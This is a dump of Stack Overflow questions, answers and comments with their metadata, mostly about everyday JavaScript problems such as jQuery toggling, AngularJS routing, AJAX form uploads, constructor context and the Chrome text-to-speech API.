http://fullcalendar.io/docs/display/viewRender/ - that is triggered when a new date-range is rendered, or when the view type switches Though I haven't tested it, the documentation mentions that this callback accepts ViewObjects as parameters, with ViewObjects having an attribute name that is one of the available views, like e.g. month. But maybe the suggested approach using eventAfterAllRender…
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25676054

http://stackoverflow.com/comment/40123546
has text: What if i want to remove some propert?
type: AnswerComment
comment on: http://stackoverflow.com/a/25674209
score: 0
type: Comment

http://stackoverflow.com/a/25683183
upvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25683046
score: -1
downvote count: 1
has body: Script $('th').click(function() { var $el = $(this); $(this).closest('tr') .next() .slideToggle(0) .toggleClass('closed'); }); Style tr { background-image: url("bullet_toggle_minus.png"); background-repeat: no-repeat; background-position: left center; } tr.closed { background-image: url("bullet_toggle_plus.png"); background-repeat: no-repeat; background-position: left center; } Fiddle: http://jsfiddle.net/teh94dma/
has comment: http://stackoverflow.com/comment/40139738

http://stackoverflow.com/comment/40141361
has text: the script i can change, but not the html
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25684344

http://stackoverflow.com/comment/64980075
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25706207
has text: If you get "init not called with valid version" error, make sure u call `FB.init({ version: 'v2.7', xfbml : false /* don't parse XFBML */ });` first. (should only be called once after FB library is loaded).
type: AnswerComment

http://stackoverflow.com/comment/40062112
has text: No Sebastian, i dont need sun icon. Only i need to get background fill column on all series
type: Comment
score: 0
comment on: http://stackoverflow.com/q/25637792
type: QuestionComment

http://stackoverflow.com/comment/40177477
comment on: http://stackoverflow.com/a/25703624
has text: "What is the best and easiest way achieving my goal using JavaScript?" is the last line of OP's questions and the javascript tag is present as well.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/39900865
type: QuestionComment
has text: I'm seeing it as working using a basic example, http://jsbin.com/qawak/1/edit . Can you try consoling out App.FlashMessageController right before the `moduleFor`
type: Comment
comment on: http://stackoverflow.com/q/25551238
score: 0

http://stackoverflow.com/q/25554488
score: 1
tagged with: iframe
upvote count: 1
has answer: http://stackoverflow.com/a/25554668
type: Question
has body: I am trying to get a simple concept of wysiwyg editor. And I am stuck at this: HTML Javascript var richTextField = document.getElementById("rte"); richTextField.document.designMode = "On"; function makeBold() { richTextField.document.execCommand('bold', false, null); } Problem: The iframe is not editable. JSFIDDLE
tagged with: javascript
answer count: 1
downvote count: 0
tagged with: jquery
favorite count: 0
linked to: http://stackoverflow.com/q/5468350
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25554668
type: AnsweredQuestion
has title: iFrame not being editable ( wysiwyg javascript )

http://stackoverflow.com/comment/39983998
type: Comment
has text: Im trying to learn the basics right now, when it comes to actual full projects i will use some kind of framework, but for now i would like to know exactly how it all works so that i have full control over all framework calls. Thanks everybody for the help.
comment on: http://stackoverflow.com/a/25597241
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40118965
has text: Did you given [that](http://baijs.nl/tinyscrollbar/) a try?
score: 0
comment on: http://stackoverflow.com/q/25671789
type: QuestionComment
type: Comment

http://stackoverflow.com/a/25702730
downvote count: 0
score: 1
has body: The "standard" way of using constructor functions in JavaScript would be the following: function DB () { this.newRecord = function () { var id = 3; // yes, since you invoked the DB constructor using // using the new keyword, this will be pointing to // the created instance this.setCurrentRecordId(id); }; this.setCurrentRecordId = function (id) { alert('setting id'); return localStorage.setItem('id', id); }; this.getCurrentRecordId = function () { return localStorage.getItem('id'); }; } var dbStuff = new DB(); dbStuff.newRecord(); alert(dbStuff.getCurrentRecordId()); In case you need to reference the instance in a callback or some other situation in which context is lost there are two common patterns to deal with this. Either store a reference to this (considered "ugly" by some, very convenient though): function Ctor(){ var self = this; this.getSomething = function(id){ asyncThing(id).then(function(result){ // here, `this` will refer to the global object self.doSomethingWith(result); }); }; this.doSomethingWith = function(result){ // do something }; } Or use .bind() to create a new function with a predefined context: function Ctor(){ this.getSomething = function(id){ var processResult = function(arg){ this.doSomethingWith(arg); }.bind(this); // bind sets the function's context no matter where you'll use it asyncThing(id).then(processResult); }; this.doSomethingWith = function(result){ // do something }; }
has comment: http://stackoverflow.com/comment/40175832
type: Answer
has comment: http://stackoverflow.com/comment/40176102
has comment: http://stackoverflow.com/comment/40175925
upvote count: 1
has comment: http://stackoverflow.com/comment/40175809
has comment: http://stackoverflow.com/comment/40176124
accepted answer of: http://stackoverflow.com/q/25702662
has comment: http://stackoverflow.com/comment/40175859
answers question: http://stackoverflow.com/q/25702662
type: AcceptedAnswer

http://stackoverflow.com/q/25666922
has comment: http://stackoverflow.com/comment/40111170
has title: SVG relative position
type: Question
has comment: http://stackoverflow.com/comment/40111773
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/25669020
tagged with: javascript
favorite count: 0
accepted answer: http://stackoverflow.com/a/25669020
tagged with: css
tagged with: http://stackoverflow.com/tag/xml
tagged with: http://stackoverflow.com/tag/svg
upvote count: 1
has comment: http://stackoverflow.com/comment/40110074
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40110098
has comment: http://stackoverflow.com/comment/40113202
has comment: http://stackoverflow.com/comment/40109980
score: 1
has comment: http://stackoverflow.com/comment/40111683
has body: I have the following svg shape. How can I make it relative to the div container? fiddle: http://jsfiddle.net/8421w8hc/20/ &lt;div&gt; &lt;svg viewBox="0 0 1000 2112" style="" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt; &lt;path id="ma" stroke-linejoin="round" stroke-width="3" d="M276.53125,21.0625C270.2435,21.1337,264.6632,29.710064,257.625,38.15625C254.2095,42.255008000000004,246.70916,40.314622,242.1875,46.34375C236.65521,53.720438,230.99785,62.346888,226.46875,69.59375C215.85686,86.573459,230.16928,97.782258,212.125,111.1875C207.10965,114.77674999999999,201.08841999999999,115.97395,197.6875,119.375C192.96555,124.09715,192.80861,146.86201,183.5,153.84375C179.2572,157.02598,177.89186,161.88925,174.34375,165.4375C171.68483,168.09653,165.60417999999999,166.5658,163.375,170.28125C159.25578,177.1469,152.38471,200.19938,145.5625,203.6875C135.98604,208.58383,130.12789,210.84282,127.15625,215.15625C124.21798,219.42123,128.21307,221.02478,120.40625,232.65625C116.20943,238.90915,125.44735,245.58204,127.5,249.6875C130.03318,254.75407,121.95861,264.95404,121.4375,266.34375C116.03641999999999,273.13373,110.82711,279.75904,106.0625,286.90625C104.9172,288.62427,104.41387,291.14857,103,292.5625C101.23068,294.33189,100.92556,298.02625,99.375,300.09375C98.25112,301.59231,98.340978,305.27722,97.5625,307.09375C96.151137,310.38706,99.710576,316.2122,100.59375,319.15625C101.74974,323.00968,102.93777,328.35011,106.25,331C108.44205,332.75371,110.92774,335.24016,113,337.3125C115.21027,339.52286,119.50015,339.84377,122.125,341.34375C123.7939,342.29745,125.21469,344.74589,126.65625,346.1875C131.13587,350.66731,130.14474,359.6758,134.6875,364.21875C140.22073,369.7522,147.72669,372.17836,151.0625,379.40625C151.6216,380.61769,152.22093,382.11301,152.78125,383.75C153.30442,384.12705,153.81841,384.52134,154.34375,384.96875C159.49011,382.16219,192.47898,377.45858,194.125,375.8125C201.6757,368.26149,216.63142,331.12495,220.25,319.0625C223.11402,309.51541,224.60791,292.67363,231.75,285.531…

http://stackoverflow.com/comment/40164057
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25695958
score: 0
has text: hmm, im working on it still not getting it.

http://stackoverflow.com/a/29865905
has body: I was having a similar issue where Chrome and IE work fine, but Firefox fails when calling a WebAPI from JavaScript using Dojo. It turns out that the "accept" headers being sent by Firefox are different, and not supported by my API. Chrome sends this: Accept: */* Firefox sends this: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 So, Firefox receives a 500 error. I solved the problem by overriding the header in the JavaScript call. Here's the code using Dojo + TypeScript, but you should be able to do something similar in your environment. var d = new Deferred(); var token = this._getToken(); var options = { method: 'GET', handleAs: 'json', headers: { 'Accept': '*/*', 'Authorization': 'Bearer ' + token } }; request&lt;Object&gt;(url, options).then( function (result) { d.resolve(result); }, function (err) { d.reject(err, true); } ); return d.promise; This is just a workaround. The real problem was that because of Firefox's "Accept" header, the WebAPI was trying to return the response in XML format. I never setup my data transfer objects to format as XML, so the WebAPI was throwing a 500 error. So, as a final solution, I removed the XMLFormatter from the WebAPI like this: config.Formatters.Remove(config.Formatters.XmlFormatter); An even more permanent solution would be to make the WebAPI handle XML, but I'm not doing that now.
type: Answer
answers question: http://stackoverflow.com/q/25610598
has comment: http://stackoverflow.com/comment/49163795
score: 0

http://stackoverflow.com/a/25667690
type: Answer
has body: You could always do this in your JS function. $scope.values = data; angular.forEach($scope.values,function(value){ $scope.total += value.value; }); Working plunker: http://plnkr.co/edit/5WZ9alCXzq115wi3xl4B?p=preview
score: 0
answers question: http://stackoverflow.com/q/25667130

http://stackoverflow.com/comment/40162933
type: QuestionComment
has text: @MurraySmith You could watch on `items` or bind a click event on the checkbox and find out what was changed. Probably i dont understand what you are trying to do though.
comment on: http://stackoverflow.com/q/25695183
score: 0
type: Comment

http://stackoverflow.com/comment/40191578
has text: Of course. Making anything full screen programatically (as in, without letting the user know or asking for permission) means that you are essentially taking control of their _entire_ screen against their will/konwledge. Now I'm sure that this is not the use you had in mind, but the malicious uses for such functionality are many.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25705863
type: Comment

http://stackoverflow.com/q/25632115
has body: I used to be able to get my model.id from a newly created backbone collection.create call via the following example code: OPTS['success'] = function( response, model, options ){ model.id } SOMECOLLECTION.create(json_attributes,OPTS) This no longer works in v1.1.2. Anyone know what is going on here? It now returns an array of objects. I am using Django-Tastypie to create my RESTful urls.
score: 1
has answer: http://stackoverflow.com/a/25715704
accepted answer: http://stackoverflow.com/a/25715704
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40047964
upvote count: 1
answer count: 1
favorite count: 0
tagged with: backbone.js
has title: Getting model.id from backbone.js collection create success call using Tastypie?
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/comment/40098108
has text: actually the items got 3 types and there are 3 prices for the 3 types so it's just goes wierd
type: Comment
comment on: http://stackoverflow.com/q/25660006
score: 0
type: QuestionComment

http://stackoverflow.com/comment/39944353
has text: That is because your attibute value name would not have been bound by the time templateURL function is called. You will just get the text "{{link.icon}}" as is. SO template url returns invalid url and it fails to load the directive
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25575464
score: 0

http://stackoverflow.com/a/25642534
accepted answer of: http://stackoverflow.com/q/25641898
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25641898
has comment: http://stackoverflow.com/comment/40067947
has body: Expanding on Margus' answer, you could do something like this: Loop through the array storing the index of the first occurrence of slug in a hashmap. Then if you come across another occurrence of the same slug, add the index of the first occurrence to an array. function getFirstOccurences(arr) { var items = {}; var alreadyExist = []; arr.forEach(function(item, index) { if(items.hasOwnProperty(item.slug)) { alreadyExist.push(items[item.slug]); } else { items[item.slug] = index; } }); return alreadyExist; } Edit: fixed check for existing item and added fiddle here
score: 0
type: Answer

http://stackoverflow.com/comment/39937552
has text: Can you show what is in the rendered function?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25571419
score: 0

http://stackoverflow.com/q/25610725
tagged with: javascript
type: Question
tagged with: node-webkit
has body: Using Node-Webkit, The following page, https://github.com/rogerwang/node-webkit/wiki/File-dialogs Describes that you can use [input type="file" nwsaveas="filename.txt" /] to open a File Save dialog. However it does not explain how would you write the data to the filesystem. I expected/imagined something simple like, var directory = FileOpen(); fs.writeFile(directory+"myfile.png", buffer); Is there any explanation for this?
tagged with: node.js
score: 0
has answer: http://stackoverflow.com/a/30188349
tagged with: file
answer count: 1
type: UnansweredQuestion
has title: How to Save As using Node-Webkit
tagged with: webkit

http://stackoverflow.com/a/25702223
has body: To get the Toggler to toggle horizontally, you need to do 3 things: Apply float: left; to all Toggler elements to make the Toggler horizontal. Change animated: true, to: animated: { to: { right : '300px' } }, Note: You may need to adjust the exact number of pixels. Change Toggler to TogglerDelegate. Here's a JSFiddle with all of that put together with your original code. Check out the YUI Anim and Easing classes for more details on how to modify animations.
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25653452
answers question: http://stackoverflow.com/q/25653452
type: Answer

angular-strap
tag name: angular-strap
type: Tag
tags question: http://stackoverflow.com/q/25620082

http://stackoverflow.com/q/25618562
has comment: http://stackoverflow.com/comment/40052224
has title: Popover not hiding when leaving the textbox in Opera 12
tagged with: opera
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40052247
downvote count: 0
score: 1
has body: I'm using the following script to display popovers on focus with HTML support in Bootstrap 3: $(document).ready(function () { $(".focus-popover").each(function (index) { var showPopover = function () { $(this).popover('show'); }; var hidePopover = function () { $(this).popover('hide'); }; $(this).popover({ html: true, placement: $(this).attr('data-placement'), trigger: 'manual' }) .focus(showPopover) .blur(hidePopover); }) }); However this input ... ... is somehow bugged in Opera 12. Due the fact the input type is "date" and not "text" it will not hide the popover when leaving the textbox. Please look at this Example in Opera 12 as well as any other browser. What can I do to make it work properly?
type: Question
tagged with: javascript
tagged with: popover
accepted answer: http://stackoverflow.com/a/25635665
upvote count: 1
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/25635665
tagged with: twitter-bootstrap-3
tagged with: twitter-bootstrap

http://stackoverflow.com/a/25690591
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40153840
has comment: http://stackoverflow.com/comment/40153934
type: Answer
has comment: http://stackoverflow.com/comment/40153783
has body: The ajax function //url,callback,type,FormData,uploadFunc,downloadFunc function ajax(a,b,e,d,f,g,c){ c=new XMLHttpRequest; !f||(c.upload.onprogress=f); !g||(c.onprogress=g); c.onload=b; c.open(e||'get',a); c.send(d||null) } https://stackoverflow.com/a/18309057/2450730 works on all latest browsers including mobile. Ready function function rdy(){ console.log(this.response)// or JSON.parse(this.response) if json } Progress function progressup(e){ console.log(e.loaded/e.total)// or (e.loaded/e.total*100|0)+'%' to get the percent } Setting up the form Assuming your form is the first one, you simply prevent it's default behavior and create a custom function, in this case ajax to send the form. window.onload=function(){ document.forms[0].onsubmit=function(e){ e.preventDefault(); ajax('upload.php',rdy,'post',new FormData(this),progressup) } } this is all you need, as you can see the code is short... but it has everything you need. Note: every type of form is accepted... so you don't have to bother writing extra code to read the form values... this thanks using new FormData() EDIT Also the form itself does not need all those extra attributes. this is enough....(no method,action,enctype) &lt;form&gt;&lt;input type="file" name="file"&gt;&lt;input type="submit" value="GO"&gt;&lt;/form&gt; alternatively add multiple to your file imput to upload multiple files. &lt;input type="file" name="file" multiple&gt; if you have any questions just ask
score: 0
accepted answer of: http://stackoverflow.com/q/25690399
has comment: http://stackoverflow.com/comment/40153749
answers question: http://stackoverflow.com/q/25690399
has comment: http://stackoverflow.com/comment/40153886

http://stackoverflow.com/q/25641521
answer count: 2
downvote count: 0
tagged with: javascript
score: 4
accepted answer: http://stackoverflow.com/a/25647334
favorite count: 0
has title: Using Chrome text-to-speech in a chrome extension
tagged with: google-chrome-extension
tagged with: text-to-speech
tagged with: google-chrome
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25647334
has body: Now, here's a demo of a chrome app that uses the chrome text-to-speech engine. And, here's the source I've modified this app to work as an 'extension' instead of an app. But, the tts is not available it seems. I've added 'tts' under 'permissions' in my manifest file. { "manifest_version": 2, "name": "Text2Speech", "version": "1", "minimum_chrome_version": "23", "icons": { "16": "icon_16.png", "128": "icon_128.png" }, "permissions": ["tts"], "content_scripts": [ { "matches": ["http://*/*"], "js": ["js/jquery-1.7.2.min.js", "js/app.js"] } ] } And, here's my code so far: $(document).ready(function(){ $(document).on("keypress", function(e) { if ( e.shiftKey &amp;&amp; ( e.keyCode === 108 || e.keyCode === 76) ) { console.log( "You pressed SHIFT + L" , $(prevElement).text()); saySomething($(prevElement).text()); } }); }); var prevElement = null; document.addEventListener('mousemove', function(e){ var elem = e.target || e.srcElement; if (prevElement!= null) {prevElement.classList.remove("mouseOn");} elem.classList.add("mouseOn"); prevElement = elem; },true); function saySomething(toSay) { chrome.tts.speak(toSay, { rate: 0.8, onEvent: function(event) {}}, function(evt) {}); } I am getting an error in saySomething method. Uncaught TypeError: Cannot read property 'speak' of undefined Any help is appreciated.
possible better answer: http://stackoverflow.com/a/25641700
upvote count: 4
has answer: http://stackoverflow.com/a/25641700

http://stackoverflow.com/a/25558787
score: 0
answers question: http://stackoverflow.com/q/25558732
has body: A simple solution is passing the id of the element: function a(id) { $('#' + id).toggle(); } Your HTML would look like this: Title + ...content... ..... n times this structure .... Title + ...content...
type: Answer

http://stackoverflow.com/a/25583260
type: Answer
accepted answer of: http://stackoverflow.com/q/25583228
has comment: http://stackoverflow.com/comment/39958360
score: 3
answers question: http://stackoverflow.com/q/25583228
downvote count: 0
has comment: http://stackoverflow.com/comment/39957997
has comment: http://stackoverflow.com/comment/39958336
upvote count: 3
has body: You need to use Regular Expressions. img = $(this).find('img').attr('src').replace(/w=[0-9]+/, 'w=126&amp;h=126&amp;crop=TRUE'); This will match: w=(digits) [0-9] Match a digit [0-9]+ Match consecutive digits
has comment: http://stackoverflow.com/comment/39958356
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39958437
has comment: http://stackoverflow.com/comment/39958017

http://stackoverflow.com/comment/47013513
comment on: http://stackoverflow.com/q/25638738
score: 0
type: Comment
type: QuestionComment
has text: I had a bit different but similar problem where Chrome didn't detect any mousewheel events in the upper half of my browser window after inserting divs. Strangely this bug was solved by simply attaching an event listener to the `div`. Seems like a dirty version to me but I haven't found any other solution yet.

http://stackoverflow.com/a/25601646
has comment: http://stackoverflow.com/comment/53658459
downvote count: 1
has body: You can use a scope function that will either returns : no state an existing state like so : HTML : Go Somestate JS scope : $scope.checkCondition = function() { return model.validate() ? 'someState' : '-' // hack: must return a non-empty string to prevent JS console error } href attribute will be created only when the function returns an existing state string. Alternatively, you could do a (ugly) : Go Somestate Go Somestate Hope this helps
score: 30
has comment: http://stackoverflow.com/comment/44263927
has comment: http://stackoverflow.com/comment/44263948
answers question: http://stackoverflow.com/q/25600071
type: Answer
has comment: http://stackoverflow.com/comment/43426012
has comment: http://stackoverflow.com/comment/60801669
upvote count: 31

http://stackoverflow.com/a/25697464
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25697394
upvote count: 1
has body: This line: data = $('#my-form').serialize() + "&amp;" + $.param(data); will add the current form a second time to data on each run. It will only run once properly. Assumed, data="abc" // 1 data = $('#my-form').serialize() + "&amp;" + $.param(data); // &lt;formadata&gt;&amp;abc // 2 data = $('#my-form').serialize() + "&amp;" + $.param(data); // &lt;formadata&gt;&amp;abc&lt;formdata&gt;&amp;abc // etc. Change: datatosend = $('#my-form').serialize() + "&amp;" + $.param(data); $.ajax({ type: "POST", dataType: "html", url: "source/ajax-functions.php", //Relative or absolute path to response.php file data: datatosend, success: function( ...
type: Answer

http://stackoverflow.com/comment/40101666
has text: Using square images and css transform to rotate them might do the trick.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25662110

http://stackoverflow.com/q/25700204
has answer: http://stackoverflow.com/a/25700264
type: Question
has answer: http://stackoverflow.com/a/25700253
has comment: http://stackoverflow.com/comment/40170965
tagged with: javascript
tagged with: special-characters
tagged with: ascii
answer count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40170985
possible better answer: http://stackoverflow.com/a/25700264
favorite count: 0
has body: I want to replace all special character in ASCII-%. Like this list: ? -&gt; %3F ! -&gt; %21 ... Till now i have replaced 2 special characters. But i doesnt know a simple method to replace all special characters. This is my code: var replacer1 = new RegExp("\\?", "g"); var replacer2 = new RegExp("/", "g"); var q = ((query).replace(replacer1, "%3F")).replace(replacer2, "%2F");
has title: How to replace all special characters using javascript
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25700253
upvote count: 2
has comment: http://stackoverflow.com/comment/40170944

http://stackoverflow.com/comment/70411387
type: AnswerComment
type: Comment
has text: This is actually a simple solution that works very well. Increasing the factor (6) there tightens up the distribution.
comment on: http://stackoverflow.com/a/39187274
score: 4

http://stackoverflow.com/comment/40029069
score: 0
type: Comment
has text: thanks tmarwen, I could code simple ones, but I am still learning, so I learn from your codes
type: AnswerComment
comment on: http://stackoverflow.com/a/25605234

http://stackoverflow.com/comment/40075569
type: Comment
comment on: http://stackoverflow.com/a/25647829
has text: That would literally look for `+ prop +` inside the string, which is certainly not what the OP wants.
score: 1
type: AnswerComment

http://stackoverflow.com/comment/39956002
has text: Please give more details about the error you got, I mean the line and file you are getting error. Also you are using 'item_id' handle_input.php but in Ajax you are passing button_id, please check.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25582050

http://stackoverflow.com/a/25598929
has body: AS3 code package { import flash.display.Sprite; import flash.events.*; import flash.external.ExternalInterface; import flash.text.TextField; import flash.utils.Timer; import flash.text.TextFieldType; import flash.text.TextFieldAutoSize; import flash.system.Security; public class ExternalInterfaceExample extends Sprite { private var input:TextField; private var output:TextField; private var sendBtn:Sprite; public function ExternalInterfaceExample() { // constructor code Security.allowDomain("*"); input = new TextField(); input.type = TextFieldType.INPUT; input.background = true; input.border = true; input.width = 350; input.height = 18; addChild(input); sendBtn = new Sprite(); sendBtn.mouseEnabled = true; sendBtn.x = input.width + 10; sendBtn.graphics.beginFill(0xcccccc); sendBtn.graphics.drawRoundRect(0, 0, 80, 18, 10, 10); sendBtn.graphics.endFill(); sendBtn.addEventListener(MouseEvent.CLICK, clickHandler); addChild(sendBtn); output = new TextField(); output.y = 25; output.width = 450; output.height = 325; output.multiline = true; output.wordWrap = true; output.border = true; output.text = "Initializing...\n"; addChild(output); if (ExternalInterface.available) { try { output.appendText("Adding callback...\n"); ExternalInterface.addCallback("sendToActionScript", receivedFromJavaScript); if (checkJavaScriptReady()) { output.appendText("JavaScript is ready.\n"); } else { output.appendText("JavaScript is not ready, creating timer.\n"); var readyTimer:Timer = new Timer(100, 0); readyTimer.addEventListener(TimerEvent.TIMER, timerHandler); readyTimer.start(); } } catch (error:SecurityError) { output.appendText("A SecurityError occurred: " + error.message + "\n"); } catch (error:Error) { output.appendText("An Error occurred: " + error.message + "\n"); } } else { output.appendText("External interface is not available for this container."); } } private function receivedFromJavaScript(value:String):void { output.appendText("JavaScript says: " + value + "\n"); } private functi…
has comment: http://stackoverflow.com/comment/39986663
accepted answer of: http://stackoverflow.com/q/25598776
score: 0
answers question: http://stackoverflow.com/q/25598776
has comment: http://stackoverflow.com/comment/39986668
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/q/25556277
type: Question
tagged with: c#
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25556533
has body: In my C# (webform), i have implemented a sql query. The UPC field (varchar type) only contains numbers. My textboxUPC.Text is passed into this UPC field in SQL of my SELECT query. i.e. SELECT UPC WHERE (convert(bigint, UPC) BETWEEN '2529300168' AND '5529300168') If letters are inputted in the textboxUPC instead of numbers, then this error will occur: Can I just use some if statement maybe in JavaScript that says IF textboxUPC.Text is not number, Then a popup message alerts the user have to enter only numbers?
has title: How to create a simpler proper Exception Handler message for "Error converting data type varchar to bigint" on textbox's value if it's not number?
tagged with: javascript
tagged with: sql-server
score: 0
has answer: http://stackoverflow.com/a/25556513
answer count: 3
has answer: http://stackoverflow.com/a/25556491
has comment: http://stackoverflow.com/comment/39907664
accepted answer: http://stackoverflow.com/a/25556491
linked to: http://stackoverflow.com/q/18082
has comment: http://stackoverflow.com/comment/39907412
has answer: http://stackoverflow.com/a/25556533
has comment: http://stackoverflow.com/comment/39907910
has comment: http://stackoverflow.com/comment/39907726

http://stackoverflow.com/q/25658068
answer count: 1
favorite count: 0
tagged with: angularjs
has body: I'm working on learning some Angular for an application I'm building. After going through some tutorials, I had a basic program working which had two views and some routing to flip between them. I'm running it now in the browser, and it's coming up blank. There are no console errors, and I swear I haven't touched it since I had it working last. Here's my main file: AngularJS Routing example And my Javascript: var journal_program = angular.module ("journal_program", []); journal_program.config (['$routeProvider', function ($routeProvider) { $routeProvider. when ('/AddNewOrder', { templateUrl: 'templates/add_order.html' }). when ('/ShowOrders', { templateUrl: 'templates/show_orders.html' }); }]); The first view: Add New Order Show Order The second view: Show Orders Back Any ideas are appreciated. I'm not sure what to check at this point. UPDATE: Here are the 3 important things I figured out from this little exercise: 1) Angular views don't have a default route unless you set one with "otherwise". Basically, even if you've set up a couple different routes, ng-view is blank when the page first loads unless either the user loads a route by clicking a link outside the view, or if you've set a default by adding "otherwise" to your route controller. otherwise ( { templateUrl: 'templates/add_order.html' }); This link is extremely helpful: http://blog.kevinchisholm.com/angular/angular-js-basics-routes-part-iii-creating-a-default-route/ 2) Apparently nothing you put inside the html of ng-view will be rendered unless you have a " when ('/' " route in the controller. 3) Angular doesn't work so well when run off the hard drive. You've got to upload it to a server first, for whatever reason. After adding these steps I got my demo working again. Looking back now, I'm not sure how I got it working the first time around without this knowledge.
has title: Simple AngularJS Program is Blank in Browser
has comment: http://stackoverflow.com/comment/40094846
has answer: http://stackoverflow.com/a/25658182
accepted answer: http://stackoverflow.com/a/25658182
type: AnsweredQuestion
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40094818
type: Question
tagged with: angularjs-routing
tagged with: javascript
upvote count: 1

http://stackoverflow.com/a/25670578
has body: The db.get method is asynchronous. The way you're doing, render is being executed before db.get returns and set the rowResults variable. You have to call the render method inside your db.get method call: router.get('/', function(req, res) { db.get('SELECT ID, first_name, last_name FROM customer WHERE ID = 33', function(err, row){ var rowResults = 'Hello, ' + row.first_name + ' ' + row.last_name + '!'; res.render('index', { title: 'Express', whatever: rowResults }); }); });
answers question: http://stackoverflow.com/q/25670275
type: Answer
downvote count: 0
score: 3
upvote count: 3
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25670275

http://stackoverflow.com/q/25692231
linked to: http://stackoverflow.com/q/391979
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40156970
has comment: http://stackoverflow.com/comment/40156505
has comment: http://stackoverflow.com/comment/40157997
has body: I use laptop for both work and personal use. So it is sometimes attached to home network and sometimes to one of many possible working places networks' I've been thinking about customizing my browser's home page and/or MDM theme (linux mint logon page, html5 capable), both consist on customizing an html page, maybe using javascript, but i should know where the laptop is. Think about me going to office, i want info about server's statuses and links to office's servers (A, B, C); going to a customer place, i will need connection to office's external IPs (A*, B*), and customer servers (X, Y, Z); back home, i will like to have wheater info, news, my soccer's team results, twitter, and so. I can setup all this through javascript (for example, using a table or dictionary: places = {ip1: [A, B, C], ip2: [X, Y, Z]} or something like that. I know there are lots of places talking about retrieving my public IP and so... but using them requires an active and open internet connection. Some of the places I will be using this have no internet access or it is required to use a proxy with login and password. Thus any solution involving a reference to external sites won't work (but customers use local intranet services i need to access). I also try to keep it simple: the idea is building some fast index page. So I'd prefer NOT loading java in the pages (and I'm not sure if MDM html5 themes would support it) So the question is: Is there any way for retrieving LOCAL IP (not public IP) using pure javascript or html5, fully client-side, avoiding php, asp, ssi, calls to public networks, or third-party plugins (java/flash)? I think response is not, as i haven't found any js function like "get_ip()", but i hope to be wrong. The only solutions I can think about are: installing a local web server, a little nginx or something that can be used for retrieving client request for ip using java (please, no!) using html5 filesystem api and look for data in a folder where in boot time some script has…
has comment: http://stackoverflow.com/comment/40156910
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25692840
favorite count: 0
has title: Javascript or HTML5 retrieving LOCAL ip
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40452748
score: 2
has comment: http://stackoverflow.com/comment/40156771
upvote count: 3
accepted answer: http://stackoverflow.com/a/25692840
has comment: http://stackoverflow.com/comment/40156856
has comment: http://stackoverflow.com/comment/40156992
downvote count: 1
type: Question

http://stackoverflow.com/q/25556844
answer count: 1
tagged with: unit-testing
tagged with: bdd
tagged with: javascript
tagged with: mocha.js
type: UnansweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/50971920
downvote count: 0
favorite count: 0
type: Question
has title: How to organize code for unit testing BDD using Mocha Chai?
has body: I trying unit testing using Mocha/Chai using BDD style. Not sure where to start. Following is what the core code structure is. Assuming that getTemplates is an ajax call, how do I the different stages of an application. For i.e. before hitting sh.setTemplates() in init function, it has go through few conditions. How to unit test those conditions? // Javascript function myFunc(id){ var mf = this; mf.id = id; mf.init = function(){return init()}; mf.isIdValid = function(){return isIdValid()}; mf.setTemplates = function(){return setTemplates}; mf.getTemplates = function(){return getTemplates}; // Init mf.init(); /////////////////////// function init(){ if(!id){ return false; } if(!sh.isIdValid()){ return false; } sh.setTemplates(); } /////////////////////// function setTemplates(){ getTemplates(function(callBackTemplate){ if(!callbackTemplate){ return false; } // inject to dom }); } /////////////////////// // Async call function getTemplates(){ return ' Test '; } } /////////////////////////////////////// ///////////////////////////////////////// TEST JS Mocha/Chai var expect = chai.expect; describe('myFunc Class', function(){ var mf; before(function(){ mf = new myFunc(1); }); describe('mf.init()', function(){ it('should not result false', function(){ var result = mf.init(); expect(result).to.not.equal(false); }); });
has answer: http://stackoverflow.com/a/31616065
tagged with: chai
upvote count: 3

http://stackoverflow.com/q/25629408
tagged with: css
has answer: http://stackoverflow.com/a/25629673
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25629731
has answer: http://stackoverflow.com/a/25629770
tagged with: image
type: Question
has title: Align vertically images hover img
tagged with: javascript
tagged with: jquery
score: 0
answer count: 3
tagged with: http://stackoverflow.com/tag/html
